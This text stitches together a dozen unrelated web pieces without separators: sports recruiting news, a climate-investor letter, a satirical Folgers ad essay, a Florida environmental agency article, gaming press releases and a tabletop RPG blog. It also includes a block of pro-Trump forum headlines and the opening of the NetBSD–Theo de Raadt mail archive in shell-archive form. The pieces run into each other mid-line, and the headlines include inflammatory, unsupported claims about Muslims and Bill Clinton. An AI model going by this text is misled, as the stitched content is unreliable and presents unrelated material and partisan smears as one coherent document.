Kansas continues to load up on insane talent for the upcoming season. The 5 star, 16th rated recruit in the country, Quentin Grimes, has officially committed to the University of Kansas.
This current Kansas team has a chance to be really good, but, the upcoming season has a chance to be an all time great team for Kansas (on paper at least).
Grimes is versatile, he’s tall for his position, he has good ball handling skills, he can shoot and shoot the 3, he’s lengthy which helps make his a good rebounder and defender, and he can drive to the basket. Grimes is a do it all player, and a player that can absolutely thrive in a Kansas uniform.
Now, the team next year is insanely deep that I don’t even know what Bill Self is going to do.
Here are my projections for Kansas roster next year:
Starters:
PG: Charlie Moore
SG: Quentin Grimes
SF: Lagerald Vick
PF: Dedric Lawson
C: David McCormack
Bench:
G: Devon Dotson
G: Marcus Garrett
G/F: Sam Cunliffe
F: KJ Lawson
F: Silvio de Sousa
F: Mitch Lightfoot
Now, Kansas obviously loses Devonte Graham and Svi due to them graduating.
I’m assuming that Malik Newman and Udoka Azibuke declare for the draft.
I’m also assuming that Lagerald Vick is gonna take the Devonte Graham approach and come back for his senior season, knowing that it is now his team to be the captain.
You can see the depth of this team and how good they can be. Can you imagine if Udoka or Newman decide to join Vick in coming back to school?
Rock Chalk Jayhawks!Some of the world's biggest investors have pleaded with governments of the world's largest economies, including Australia, to stick with their commitments to tackle climate change and to introduce carbon pricing to help achieve them.
There is strong speculation that American President Donald Trump could renege on his country's commitments under the Paris Accord signed in 2015, which aimed to hold temperature rises well below 2 degrees Celsius.
Now a group of investor organisations, committed to encouraging action on climate change has written to member nations of the G7 and G20 calling on all participants to move to implement the Paris agreement. The G7 is due to meet in Italy later this month and includes America, Canada, France, Germany, Italy, Japan and Britain.
Current signatories to the letter manage $20 trillion and in their letter also call for measures to encourage investments that will reduce climate change including carbon pricing, phasing out fossil fuel subsidies and introduce standardised international reporting rules for companies to disclose their climate risks.So President Obama's new plan is we're stuck in Afghanistan forever. What did Schumpeter call imperialism? Oh yeah, "expansion for the sake of expanding, war for the sake of fighting, victory for the sake of winning, dominion for the sake of ruling." Sounds about right. The good news is that Folgers Coffee is bringing its boys home.
They've made a new version of their classic Christmas commercial, "Peter's Homecoming." Here's the old one.
A perfect short story. Spare. Economical. Universal. Man sponges a ride off someone in a VW Beetle, wakes up his little sister, makes coffee for a woman he addresses as mom and a man to whom he doesn't speak. Where has Peter been? War? Prison? Insane asylum? We don't know. We don't need to know. What's important is that he's home. And he's made shitty coffee.
(Maybe it's symbolic. Maybe he's supposed to represent the Apostle Peter, who also liked to travel, and started off as a fisherman, which would explain the awful sweater. Peter was also the rock on which Jesus built his church, which might explain why Folgers tastes like rocks.)
(And he knew his beverage metaphors. Wasn't it Peter who said, "As newborn babes, desire the sincere milk of the word?" Yes it was. I just looked it up.)
"Peter's Homecoming" aired every Christmas from 1985 to 1998, inexplicably disappeared until 2004, and then, like Peter, returned. Now it's gone again.
Here's the new one.
There are a bunch of significant differences. Let's take them in order:
- The main character is no longer named "Peter." Is this a bow to secular humanist pressure groups? A second front in the War on Christmas? Or is it because Folgers doesn't want to be confused with Peet's Coffee, a misunderstanding that would never happen in real life, because Peet's Coffee doesn't taste like ass?
- The Son with No Name arrives by cab, both taking the Folgers brand up-market and avoiding the other unpleasant associations with hitchhiking, like the chance that Not-Peter had to blow someone.
- The sister has grown up. She's even lovelier and whiter than before.
- It's no longer a mystery where her brother has been. Our first clue is his backpack. It says "Volunteer." Our second clue is when he says, "It's a long way from West Africa." So there's your answer. He's been in an insane asylum in West Africa. He killed one of the volunteer guards, stole his backpack and escaped.
- This time, she's the one who's made the coffee. He's sort of happy to see her, but that has nothing on how much he loves that coffee. He shoves her aside and basically puts his face in the pot and moans:
Aghhhhh...ah! Cooooffeeee!
And then he gives her a present, but she says he's her present, and they look at each other in a deeply meaningful but totally not sexy way and then mom comes downstairs with some random hook-up who everyone ignores.
But you're not thinking about that, because your brain has locked up. Seized. Totally shot. You might as well just sell your head for parts because you're thinking:
YOU CAN'T GET GOOD COFFEE IN AFRICA???
--
So how did a perfectly good ad get so screwed up? This is what happens when you overthink things in a story conference. Every answer raises a new question.
AD EXEC #1
Where was this guy?
AD EXEC #2
He was away.
AD EXEC #1
That's not good enough anymore. For all we know, he's only loose because he's been pardoned by Mike Huckabee.
AD EXEC #2
Okay. He's been volunteering.
AD EXEC #1
I like it. White people do that. Where?
AD EXEC #2
South America?
AD EXEC #1
The only decent coffee we sell comes from South America, stupid.
AD EXEC #2
Vietnam?
AD EXEC #1
Where do you think we get the crap we put in Folgers?
AD EXEC #2
Really? It's Mountain Grown in the mountains of Vietnam?
AD EXEC #1
How long have you been on this account? Don't you ever drink it?
AD EXEC #2
Drink it? It's Folgers.
AD EXEC #1
Let's focus. What if he's been volunteering in Africa?
AD EXEC #2
Okay, but we'll say "West Africa" so people don't think he's a deserter from Black Hawk Down.
AD EXEC #1
Good. And make sure the sister says she's his sister. She's jumpin' in his arms and sleeping in his clothes. They'll think he's fuckin' her.
--
But here's why my mind has locked up. And I didn't even vote for Obama, Chief Executive in Charge of Bank Bonuses and Permanent War. My mind is locked up because I know the real reason they had to change this ad:
If they aired the old one today, people might think "Peter" was an American soldier from Iraq or Afghanistan.
And those guys are never coming home.Dec. 11, 2013
DENTON, Texas - Beginning Thursday morning at 8 a.m., North Texas students will be able to buy tickets to the Heart of Dallas Bowl at a 66-percent discount off the tickets' face value.
North Texas will play in the Heart of Dallas Bowl on New Year's Day at the Cotton Bowl in Fair Park, in Dallas. Kickoff is 11 a.m.
Due to generous donations from North Texas alumni, tickets for the game (face value $75) are being sold to UNT students for just $25.
Student tickets will go on sale Thursday, Dec. 12, at 8 a.m. at the North Texas Athletic Ticket Office at Gate 2 of Apogee Stadium. Limit is two tickets per student, and a valid UNT student ID must be presented to purchase the discounted tickets.
UNT students will have two sections reserved at the Cotton Bowl, adjacent to the section occupied by the Green Brigade marching band. This is a limited allotment of tickets, and will remain on sale until sold out. The Ticket Office is open Monday through Friday, 8 a.m. to 5 p.m.
Bowl-game tickets also get North Texas students into a pre-game indoor tailgate at Fair Park, at a location adjacent to the Cotton Bowl. Students must present their ticket to enter the bowl-game tailgate and to receive coupons for two free breakfast tacos and drinks.
The Mean Green, which beat three bowl-bound teams this season on its way to its first bowl invitation in nine years, finished its first season in Conference USA with an 8-4 record. North Texas will face the UNLV Rebels from the Mountain West Conference in the Heart of Dallas Bowl.When we first spied Huawei's SmaKit S7 Android tablet, we were at CeBit and it was... well, non-functioning. Now Huawei's officially announced the tablet now, and we have to say that it looks just like every other Android tablet being hoisted upon the world these days, but it's got some nice features that make it worth a second gander. The 7-incher boasts an 800 x 480 pixel resolution, 720p playback, 3G connectivity, plus a dock with HDMI out, two USB 2.0 ports, and two microSDHC slots. The tablet, which runs the 1.6 version of the OS, will supposedly be available this summer, though we don't yet have any information about where it will be available or how much it will cost. We'll let you know as soon as we do -- but in the meantime, there's a video demo after the break.The leader of President Donald Trump's Environmental Protection Agency, Scott Pruitt, wants to hand much of its duties back to the states. That would put the job of protecting Florida's natural bounty almost entirely in the hands of the state Department of Environmental Protection.
That raises the question: Is DEP up to the job?
In the six years since Rick Scott became governor in 2011, the size of the state agency charged with protecting the environment has shrunk by more than 600 employees, dropping from about 3,500 to 2,900.
"The agency has been consistently downsized," said Marianne Gengenbach, who was pushed out of her position as bureau chief of the DEP's office of environmental services after eight years with the agency. "The reported purpose was to create efficiency, but the practical result is an inability to carry out the statutory duties of the agency."
Many of those ousted were viewed as the top experts in their fields, said former DEP employees, and their dismissal left those who were spared beset by anxiety and paranoia.
"Some people had 20 to 25 years in; knowledgeable people, people who never had a problem," said Connie Bersok, the agency's senior wetlands expert, who retired at the end of February after 30 years. "It almost seemed like a culling of the people who knew too much."
Many weren't replaced. However, a DEP spokeswoman said the agency's smaller size hasn't reduced its effectiveness.
"We continue to focus on restoring and protecting Florida's natural resources and enhancing its ecosystems," spokeswoman Dee Ann Miller said.
While the agency is focused on protecting the environment, she said, "we are also committed to being responsible stewards of taxpayer dollars, improving processes and increasing the effectiveness and efficiency of our operations."
Scott, a Trump supporter, is satisfied with the agency's operation, and with the new EPA boss, according to press secretary Lauren Schenone.
"The governor looks forward to a productive working relationship between Florida's DEP and the federal EPA and continuing to protect Florida's pristine environment for generations to come," she said in a statement to the Tampa Bay Times.
When his last DEP secretary, Jon Steverson, resigned in January to take a job with a law firm that has DEP contracts, Scott said: "I am proud of the tremendous and historic strides we have made toward safeguarding Florida's natural resources during his time at DEP."
• • •
Not only has the agency shrunk, it has also been pressured to speed up how quickly it issues permits for filling in wetlands and dumping pollution into the state's waterways.
During Jeb Bush's term as governor, which ended in 2007, the average time for issuing a DEP permit was 44 days. In 2014, Scott boasted the agency had "successfully reduced its environmental permitting time down to just two days, and that's great!"
Since Scott was sworn in, the agency's primary regulatory focus has been on speeding up the issuing of permits, said Janet Llewelyn, a top state water policy and permitting expert who was pushed out last year after 32 years.
"The quality of the permit review was sometimes sacrificed as a result," she said.
At the same time it was shrinking, the agency drastically scaled back its enforcement of pollution laws.
DEP's new attitude was spelled out in a 2011 memo to the staff from Jeff Littlejohn, the consulting engineer who was picked as the new deputy secretary in charge of regulation.
"Where noncompliance occurs, despite your best efforts at education and outreach," he wrote, "your first consideration should be whether you can bring about a return to compliance without enforcement."
So instead of hammering polluters, DEP staffers were to send out "compliance assistance letters," offering to show businesses how to get back into compliance.
As a result, last year the agency opened 81 percent fewer enforcement cases than it did in 2010 and collected the smallest amount of fines in 28 years, according to an analysis by Public Employees for Environmental Responsibility, an environmental watchdog group.
"The DEP is just a shadow of its former self," said Jerry Phillips, a former DEP attorney who now heads up PEER's Florida office. "It's a mess."
DEP officials contend that what counts is that Florida businesses now have a record-high compliance rate with the state's pollution laws.
• • •
When Pruitt, the former Oklahoma attorney general, testified at his U.S. Senate confirmation hearing last month to become the new EPA administrator, he repeatedly said he believed environmental protection was a job best left to the states, not the federal government.
U.S. Rep. Matt Gaetz, R-Fort Walton Beach, has gone him one better, filing a one-sentence bill to abolish the EPA in 2018.
"I think the states are better positioned to assess their environmental assets and often they are more nimble" at protecting them, he said in an interview Friday.
However, Gaetz recently told the Times that the DEP isn't ready to take over for the EPA "at their current funding level." He wants to see some of the EPA's $9 billion budget spread out among the states, including Florida.
Former state employees say the problem with DEP taking on the EPA's duties go beyond just funding.
The shrinking of the DEP began shortly after Scott took office and hasn't stopped. A chunk of the staff, 150 sworn officers who enforced environmental laws, were transferred to the state wildlife commission. Then came other departures, many of the people over the age 50.
Repeated cutbacks have left the survivors "afraid to do the right thing, because doing the right thing could cause them to be fired," Gengenbach said.
Over and over, DEP employees said they saw longtime colleagues escorted out of the building, often with no explanation, recalled Bersok. She kept a journal of everything she saw at the agency over her 30 years.
"It certainly does not boost morale," she said. "It makes people nervous. You don't know who's going to be next. It does engender a sort of paranoia."
For instance, Gengenbach said, she and a lot of other employees were shocked last year to see Llewellyn, the water policy expert, let go after more than three decades.
"If it could happen to someone who's that good, and never got into trouble, it could happen to anyone," she said.
Llewellyn said she was never given an explanation for why she was told to leave.
"I wish I could tell you the reason," she said. "I don't know why."
The purge hit the state's prize-winning park system hard. Since Scott took office, most of its leadership has been booted out or demoted. In one day in 2015, two top administrators were shown the door and told not to return.
"They did it just to make a statement and to make the staff fearful," said one of the two administrators, Dana C. Bryan, who was ushered out a month shy of his intended retirement. He was told to spend the month waiting at home for a special assignment that never arrived.
The parks management team that won all those awards has been "dismantled," Bryan said. "The park service that was so good probably won't ever be the same again."
In 2012, Scott did one of his "Let's Get to Work" days as a park ranger at Hillsborough River State Park. He took the occasion to praise the parks as an economic engine for the state and noted, "A healthy environment makes for a healthy economy."
• • •
Bersok wasn't fired or forced out. But she was suspended from her job in 2012 after she refused to go along with a wetlands permit that did not meet state requirements.
Those who sought the permit had the ear of one of the agency's recently appointed deputy secretaries, and he intervened in the case, "which was not normal," Bersok recalled.
Bersok refused to back down. She was suspended because her superiors thought she might leak information to reporters about the permit. She was ultimately reinstated, and a judge later ruled that she was right about the permit and blasted DEP officials for ignoring her.
Paranoia about the media was another hallmark of the past six years, Bersok said.
"When I first started, if the press called, you could talk to the press, you just had to document it for your boss," Bersok said.
"Then it became: You had to get permission first, but you could still talk.
"Then it became: The press office would approve of anyone talking with a reporter, but they had to be on the line.
"And now that's changed to: You do not talk to the press. As a result, a lot of the information that's expressed to the press wasn't much information at all."
That, in turn, has led to even more paranoia among the staff. Being afraid, Llewellyn said, isn't conducive to enforcing the state's pollution rules.
"When people feel anxious," she said, "they're less likely to do anything that would make them stand out."
Scott's budget proposal for next year recommends reducing the DEP staff by another 38 people. Bersok said she has been told her job is one that's being phased out.
Times senior news researcher Caryn Baird contributed to this report. Contact Craig Pittman at [email protected] Follow @craigtimes.Because of the nature of Epic Gaming, the players have more control then the DM. My job is to just referee the scenarios and decide what the enemies are doing. Basically, I am no more powerful then the PCs. There is also way too many decisions to make in moving the games forward. This is going to be an epic battle that is much bigger than even the forces of the PC heroes. I have to think of a way to move armies around the world, and resolve hundreds of combat scenarios that we don’t have time to actually play.
WHAT ARE THE MAJOR NPCS DOING
This is an important question, and my wife came up with an excellent way to go about resolving it. She suggested playing short, non-combat council sessions where the PCs play the roles of the power brokers in the realm. It is during these discussions where the actions of nations are decided. Who is aiding who? Who is holding back for fear of retaliation? These short, dice-less sessions will last only as long as they have to, and whatever is decided at these sessions stands.
IN REGARDS TO MASS COMBAT
I know that mass combat is going to have to be dealt with, but it is too slow of a process to resolve all of the different battles taking place. I am leaning towards the RISK method of play to quickly determine the conflicts which take place else where.
I’ll have to create a board, and figure out a rough estimate of how much world time is taken per turn. I may also modify how the RISK combats are decided. That sounds reasonable; this stuff can even be resolved after the War Council Sessions.
So far, even though it hasn’t been play-tested, I am happy with these theories. I think that it would be exciting for a player to actually play a character that he has always heard about, but never gets to meet because I am such a stingy DM. It is also a decent way to get lots of help from everyone; the responsibility on the DMs shoulders during epic games is particularly harsh, and I have never seen a game go very fast without co-DMs. I remember hearing tales of two Dungeon Masters going at once, both with their own tables of PCs and sending notes back in forth between them. This kind of stuff can get pretty crazy! While I have a large gaming group, I still don’t have enough players to run duel games, so I just have to get inventive about things.
Do you have any ideas? Have you ever used the board game RISK to decide combat in your games? Do you see any holes in my theory? I will tell you that I have very mature Players, many who are great DMs in their own right, and I have faith that they will play the NPCs successfully. Is this a game that you yourself would enjoy playing? I haven’t decided if I want to sit on the council, or just watch and take notes. What would you do?There is no bigger star in Packers history than Bart Starr.
Bart: "Cherry and I are so excited about our trip to Green Bay."
Cherry: "Brett and Deanna, we are so happy to be a part of your special night."
Well fell in love with him years ago, when he became the only Packers quarterback to lead the team to five championships.
He's moving a little more slowly these days after two strokes and a heart attack, but you can still see the twinkle in his eyes. His sense of humor is also definitely intact.
RELATED:
The Hall of Fame quarterback hits the gym in Birmingham, Alabama three times a week, and it's the same hard work he put into becoming a football legend. That's helping him now - he's exceeding everybody's expectations for his recovery.
Trainer Brian Burns: "I believed him and I knew he could do it, but he has taken it so much further than what I could have imaged."
Lance: "Heart of a champion. Athlete. Competitor."
Brian: "He's the man."
The two-time Super Bowl champion has even surprised his wife Cherry.
Lance: "What have you seen him do that he couldn't do before? I mean, today we were even talking about when I showed you the picture of him throwing the football overhanded you were like,'really?'"
Cherry: "Yes, I have not seen him do that. That was exciting to see you throwing the football again."
And it caused Bart's trainer to shake his head in disbelief.
Brian: "I was looking back at the film when he used to play and he uses the same throwing motion. Kind of going more up top with the way he's throwing it. His hand eye coordination, he's still got it."
When training ended, I sat down with Bart and Cherry at their home. They've been married 61 years, and now Cherry does most of the talking for Bart.
Lance: "Were you afraid in those dark days that you were going to lose him or that something was going to happen?"
Cherry: "I was told the first trip to the hospital after his heart attacks and strokes that he probably would not live through the night. It's very tough. Bart is such a strong man and he was a very, very sick man for a long time and had multiple problems, but he's worked hard. Sometimes I say he's an impatient patient."
In addition to physical therapy, the Starrs flew to Mexico to take a chance on two experimental stem cell treatments.
Cherry: "And I really think in my mind the stem cells were really working for him at that point."
Bart: "I do too."
Both of them are excited about the game on Thursday. Bart Starr and Brett Favre share a close bond off the field. Favre has always helped out with a cause near and dear to Bart's heart - the Rawhide Boys Ranch.
Cherry: "He's very motivated and of course this event we remind him that he's going to do something very special this Thanksgiving day. It's been a great motivator for him."
Lance: "What do you have to say to the Packers fans and the well wishers because I know people have just..."
Cherry: "Oh my goodness, Lance. We've received over 1,000 pieces of mail saying they are coming to the game and they're wearing Bart's jersey and they're going to be there to cheer him. It's unbelievable, really."
Lance: "People want to see you, Bart."
Bart: "Yep."
Cherry: "People are excited about it. And this quite possibly will be our last trip to Green Bay."
Bart: "Yeah."Virginia remains hot on the recruiting trail. The Wahoos have reeled in their fifth commitment in the 2017 class.
UVa’s newest commitment is Winston-Salem (N.C.) Carver athlete Germane Crowell.
The son of former UVa and Detroit Lions wide receiver, Germane Crowell, chose Virginia over offers from Virginia Tech, Duke, Florida, Kentucky, Maryland, Penn State, N.C. State, Syracuse, and Wake Forest among others.
After two visits in three weeks to Virginia Tech, Crowell returned to Charlottesville on Thursday and it was the latest visit that sealed the deal for the 6-foot-3, 180-pounder.
Listed as an athlete, Crowell was offered by the Wahoos as a cornerback.
He joins Virginia’s class which already includes another legacy, Fairburn (Ga.) Landmark Christian School safety Joey Blount, as well as Woodberry Forest (Va.) Woodberry Forest School quarterback Lindell Stone, Sterling (Va.) Dominion defensive tackle Tommy Christ, and Hoschton (Ga.) Mill Creek center Tyler Fannin.
According to the 247Sports Composite, Crowell is rated three-stars.
Stay tuned for more on this breaking story...· 24 comments
I will be interviewed on @FaceTheNation this morning at 10:00 A.M. Have a great day!
4323 · 192 comments
Grab Some Hot Cocoa, And Gather 'Round The Campfire: It's Story Time With Trump!
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Hungarian PM Orban's full speech in the EU parliament : Soros NGOs and migrants BTFO
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A Danish woman and her dog were surrounded and attacked by a group of muslims. Infuriating video of her account of the attack...
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Macrons wife deletes "who will you vote for?" poll after 80% answer Le Pen. Posts a new poll - Le Pen wins again. 😂😂😂
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The shitposter-in-chief is at it again! BILL CLINTON IS A RAPIST INFOWARS.COM
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🔥When The Man Comes Around🔥
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CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS CNN SUCKS
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🇺🇸President Trump's Washington Post Op-Ed🇺🇸STOCKHOLM, Sweden and IRVINE, Calif. — Paradox Interactive, a publisher of games for characters of all builds, and Obsidian Entertainment, veteran developers behind Fallout: New Vegas and South Park: The Stick of Truth, today announced a new edition of Pillars of Eternity which provides the definitive experience and tremendous value to RPG fans everywhere.
The award-winning title is now available as Pillars of Eternity: Definitive Edition, a comprehensive version of Obsidian’s crowdfunded masterpiece that includes both White March expansions, all premium extras, and an all-new bundle of content, called the “Deadfire Pack,” inspired by Obsidian’s upcoming Pillars of Eternity II: Deadfire.
Definitive Edition will be available for PC, Mac, and Linux on November 15, 2017. The new Deadfire Pack DLC will also be made available for free to all existing (and future) owners of Pillars of Eternity on Windows, Mac, and Linux PCs to thank them for their ongoing support |
Bomb and Bill Hader (Cloudy with a Chance of Meatballs) as a member of the pork side. Keegan-Michael Key (Key & Peele) will also lend his voice to the flick, along with Arrested Development and Veep actor Tony Hale.
To round out the cast, the supporting actors for Angry Birds include Kate McKinnon, Ike Barinholtz (Neighbors, The Mindy Project), Hannibal Buress (Neighbors), Cristela Alonzo, Jillian Bell (22 Jump Street), Danielle Brooks (Orange is the New Black), singer Romeo Santos, and YouTube stars Smosh (Ian Andrew Hecox and Anthony Padilla).
Directed by Feral Reilly and Clay Kaytis, Angry Birds is set to debut in the United States on July 1, 2016.
Evan Campbell is a freelance news writer who streams games on his Twitch channel, talks about Nintendo weekly on the NF Show, and chats about movies and TV series on Twitter.This mail archive is the complete (as far as I know) communication between myself and the NetBSD core between December 15 (when they removed all my NetBSD access) and the day OpenBSD was formed. It actually goes a little further beyond that time, and includes mail from a few other people involved in the negotiations. This archive makes it clear that I tried everything I could to avoid having to form a seperate project, but that the NetBSD core holds the complete responsibility for the need and creation of OpenBSD, another splinter group. After my access was revokes, I struggled for 7 months to get access to the CVS tree back. I was told to agree to things others did not have to, to wait for an agreement document -- it's all in the archive. It was suggested that I merge my 19,000 lines of diffs by mailing them to an individual who would merge them. The entire affair was ridiculous. Those people are Charles Hannum Chris Demetriou JT Conklin Paul Kranenburg Adam Glass There are newer NetBSD core members, but they have done nothing to change the situation. The mail contained in this archive is used under the principle of `fair use' because my life and name have been massively affected by the contents here-in. I have been personally slandered, and people have been lied to about why OpenBSD exists. I religiously archive mail now. It has gone so far that upon visiting companies in Silicon Valley, I have met people who said they'd heard of something bad in association with my name. If anything is missing from this archive feel free to send it to me. I would love to have and incorporate anything else. As far as I know this archive is complete, but.. things slip sometimes. I have left out many pieces which I cannot forward without compromising the person who forwarded me the mail; I have left nothing out that I sent or core sent to me. The NetBSD core have read this document; I have ftp archives to show so. They have never made any direct comment on it, but people have told me that they got very angry. An earlier version of this archive was unsorted, and difficult to track. I wish this was easier to follow, but it is lengthy. To read this in order, do: more?????? Start of archive # This is a shell archive. Save it in a file, remove anything before # this line, and then unpack it by entering "sh file". Note, it may # create directories; files and directories will be owned by you and # have default permissions. # # This archive contains: # # 1 # 2 # 3 # 4 # 5 # 6 # 7 # 8 # 9 # 10 # 11 # 12 # 13 # 14 # 15 # 16 # 17 # 18 # 19 # 20 # 21 # 22 # 23 # 24 # 25 # 26 # 27 # 28 # 29 # 30 # 31 # 32 # 33 # 34 # 35 # 36 # 37 # 38 # 39 # 40 # 41 # 42 # 43 # 44 # 45 # 46 # 47 # 48 # 49 # 50 # 51 # 52 # 53 # 54 # 55 # 56 # 57 # 58 # 59 # 60 # 61 # 62 # 63 # 64 # 65 # 66 # 67 # 68 # 69 # 70 # 71 # 72 # 73 # 74 # 75 # 76 # 77 # 78 # 79 # 80 # 81 # 82 # 83 # 84 # 85 # 86 # 87 # 88 # 89 # 90 # 91 # 92 # 93 # 94 # 95 # 96 # 97 # 98 # 99 # 100 # 101 # 102 # 103 # 104 # 105 # 106 # 107 # 108 # 109 # 110 # 111 # 112 # 113 # 114 # 115 # 116 # 117 # 118 # 119 # 120 # 121 # 122 # 123 # 124 # 125 # 126 # 127 # 128 # 129 # 130 # 131 # 132 # 133 # 134 # echo x - 1 sed's/^X//' >1 << 'END-of-1' XReturn-Path: Chris_G_Demetriou@LAGAVULIN.PDL.CS.CMU.EDU XReturn-Path: XReceived: from LAGAVULIN.PDL.CS.CMU.EDU by fsa.ca (4.1/tdr1.0) X id AA14296; Tue, 20 Dec 94 06:46:27 MST XMessage-Id: <9412201346.AA14296@fsa.ca> XReceived: from localhost by LAGAVULIN.PDL.CS.CMU.EDU id aa28111; X 20 Dec 94 8:45 EST XTo: deraadt@fsa.ca XCc: cgd@LAGAVULIN.PDL.CS.CMU.EDU, core@netbsd.org XPrecedence: special-delivery XX-Copyright: Copyright 1994, Christopher G. Demetriou. All rights reserved. XX-Notice: Duplication and redistribution prohibited without consent of X the author. XDate: Tue, 20 Dec 1994 08:45:43 -0500 XFrom: Chris G Demetriou X XTheo, X XOver the past year and a half, we have received a considerable number Xof complaints about the fact that you seem to harass and abuse both Xusers and developers of NetBSD. At various times, some of us have Xsuggested (with varying levels of severity) that you cease this Xbehaviour, but this has been ineffective. Indeed, you have given us Xscant reason to believe that your behaviour is ever going to change Xfor the better. X XYour abusive actions have seriously impaired the success of the NetBSD Xproject in several ways. Your actions have driven away developers or Xpotential developers, and have alienated many users. They have also Xsquandered much of the good will that various people have directed at Xthe project. X XFinally, it is clear that for the project to be a success, we must Xpromote a positive environment for both users and developers. If we Xcontinue to allow you, an official representative of the NetBSD Xproject, to behave in this manner, we create the perception that we Xapprove of your behaviour. That perception is damaging to the project Xand cannot be allowed to persist. X X XBecause of these things, we believe that it would be in the best Xinterest of the NetBSD project if you were to resign all official Xassociation with the project. We request that you resign from the XNetBSD core team, resign as the maintainer of the NetBSD SPARC port, Xand post a message to the "netbsd-users", "current-users", and X"port-sparc" mailing lists announcing your resignation. If you choose Xnot to post such an announcement within one day (by 9:00AM, 12/21/94), Xwe will be forced to inform the public about your removal from the Xorganization ourselves. X XWe regret having to do this, because you have done a significant Xamount of very good work for the project. In spite of that, we can no Xlonger condone your behaviour. We wish for this parting to be as Xpainless as possible; we have disabled your accounts on the NetBSD Xdevelopment machines and have removed you from the "core" and X"port-masters" mailing lists, but have left your subscriptions to Xother NetBSD mailing lists untouched. We have no objection to your Xfurther participation in NetBSD, as long as you participate in a Xmature manner and make clear the fact that you no longer officially Xrepresent the NetBSD Project. X X XThank you for your cooperation. X X XThe NetBSD Core Group (in alphabetical order) XJ.T. Conklin XChris Demetriou XAdam Glass XCharles Hannum XPaul Kranenburg END-of-1 echo x - 2 sed's/^X//' >2 << 'END-of-2' XReturn-Path: owner-netbsd-users@NetBSD.ORG XReturn-Path: XReceived: from pain.lcs.mit.edu by fsa.ca (4.1/tdr1.0) X id AA06529; Fri, 23 Dec 94 12:35:37 MST XReceived: (from daemon@localhost) by pain.lcs.mit.edu (8.6.9/8.6.9) id NAA02744 for netbsd-users-outgoing; Fri, 23 Dec 1994 13:20:15 -0500 XReceived: from sun-lamp.cs.berkeley.edu by pain.lcs.mit.edu (8.6.9/8.6.9) with ESMTP id NAA02740 for ; Fri, 23 Dec 1994 13:20:11 -0500 XReceived: from LOCALHOST (LOCALHOST [127.0.0.1]) by sun-lamp.cs.berkeley.edu (8.6.9/8.6.9) with SMTP id LAA15135 for ; Fri, 23 Dec 1994 11:26:10 -0800 XMessage-Id: <199412231926.LAA15135@sun-lamp.cs.berkeley.edu> XX-Authentication-Warning: sun-lamp.cs.berkeley.edu: Host LOCALHOST didn't use HELO protocol XTo: netbsd-users@NetBSD.ORG XSubject: Theo De Raadt XDate: Fri, 23 Dec 1994 11:26:09 -0800 XFrom: Adam Glass XSender: owner-netbsd-users@NetBSD.ORG XPrecedence: list XX-Loop: netbsd-users@NetBSD.ORG XStatus: O X X XOn December 20, Theo de Raadt was asked to resign from the NetBSD XProject by the remaining members of 'core'. This was a very difficult Xdecision to make, and resulted from Theo's long history of rudeness Xtowards and abuse of users and developers of NetBSD. We believe that Xthere is no place for that type of behaviour from representatives Xof the NetBSD Project, and that, overall, it has been damaging to the Xproject. X XThis decision was difficult to make because Theo has a long history of Xpositive contributions to the project. He was the principal caretaker Xof NetBSD's SPARC support, and has written too much code to mention. XWe are certainly willing to accept (and would very much like to see) Xfuture contributions from Theo, but we believe that it is Xinappropriate for him to be an "official" representative of the Xproject any longer. X XPlease direct replies to core@NetBSD.ORG. X Xlater, XAdam Glass END-of-2 echo x - 3 sed's/^X//' >3 << 'END-of-3' XReturn-Path: pk@cs.few.eur.nl XReturn-Path: XReceived: from fsa.ca (newt.fsa.ca) by theos.com (4.1/tdr1.0) X id AA05948; Sat, 11 Feb 95 14:00:59 MST XReceived: from cs.few.eur.nl (kaa.cs.few.eur.nl) by fsa.ca (4.1/fsa1.0) X id AA09018; Sat, 11 Feb 95 14:00:51 MST XReceived: by cs.few.eur.nl (5.67/EUR) X id AA10381; Sat, 11 Feb 95 22:00:44 +0100 XFrom: Paul Kranenburg XMessage-Id: <9502112100.AA10381@cs.few.eur.nl> XSubject: XTo: deraadt@fsa.ca (Theo de Raadt) XDate: Sat, 11 Feb 1995 22:00:43 +0100 (MET) XIn-Reply-To: <9412091853.AA04560@fsa.ca> from "Theo de Raadt" at Dec 9, 94 11:53:39 am XX-Mailer: ELM [version 2.4 PL13] XMime-Version: 1.0 XContent-Type: text/plain; charset=US-ASCII XContent-Transfer-Encoding: 7bit XContent-Length: 374 X XHello Theo, X XI hope you're not too bothered receiving mail from me, bit I do feel XI should communicate. X XI hear from Chuck you keep on doing bits on the sparc port and I was Xpleased to hear it. Actually, `relieved' is even a better description. X XWell, that's all I wanted to say at the moment really. Whatever your Xfeelings may be, I just had to get this off my chest. X X-pk END-of-3 echo x - 4 sed's/^X//' >4 << 'END-of-4' XReplied: Mon, 13 Mar 1995 11:55:23 -0700 XReplied: "Paul Kranenburg " XReturn-Path: pk@cs.few.eur.nl XReturn-Path: XReceived: from cs.few.eur.nl (kaa.cs.few.eur.nl) by theos.com (4.1/tdr1.0) X id AA07789; Mon, 13 Mar 95 02:20:06 MST XReceived: by cs.few.eur.nl (5.67/EUR) X id AA17760; Mon, 13 Mar 95 10:20:08 +0100 XDate: Mon, 13 Mar 95 10:20:08 +0100 XFrom: Paul Kranenburg XMessage-Id: <9503130920.AA17760@cs.few.eur.nl> XTo: deraadt@theos.com X XYou know, communication between you and me has mostly been routed through XChuck until now. I've responded to remarks that have reached me by responding Xto Chuck again. I will no longer do this as this is not at all helpful when it Xcomes to knowing what has been said when and by whom. I suggest we talk Xdirectly; this is the only way repairs can be achieved anyway. X X XIn reponse to your remark on cvs access, I replied that you cannot expect Xthis to happen without you and all of core talking to eachother in a Xcollected and rational fashion. Chris has responded in a similar way. XI also said that I do *not* expect you to seek "absolution" in case you would Xbe interpreting "we need to talk first, and that might take some time" that Xway. To repeat myself, it just means: restore normal contacts with all of us, Xand things will work out one way or another. What *more* can I say? XThis will also enable coordination on actual technical work being done X(re: the scsi thing), which is a highly unfortunate incident that I feel Xcould have easily been avoided by getting in touch with *me* (as the Xsparc port maintainer, and not as anything else). X X-pk X XPS. I want to express my thanks to Chuck for acting as a moderator in the last Xmonths. I surely hope it will pay off. END-of-4 echo x - 5 sed's/^X//' >5 << 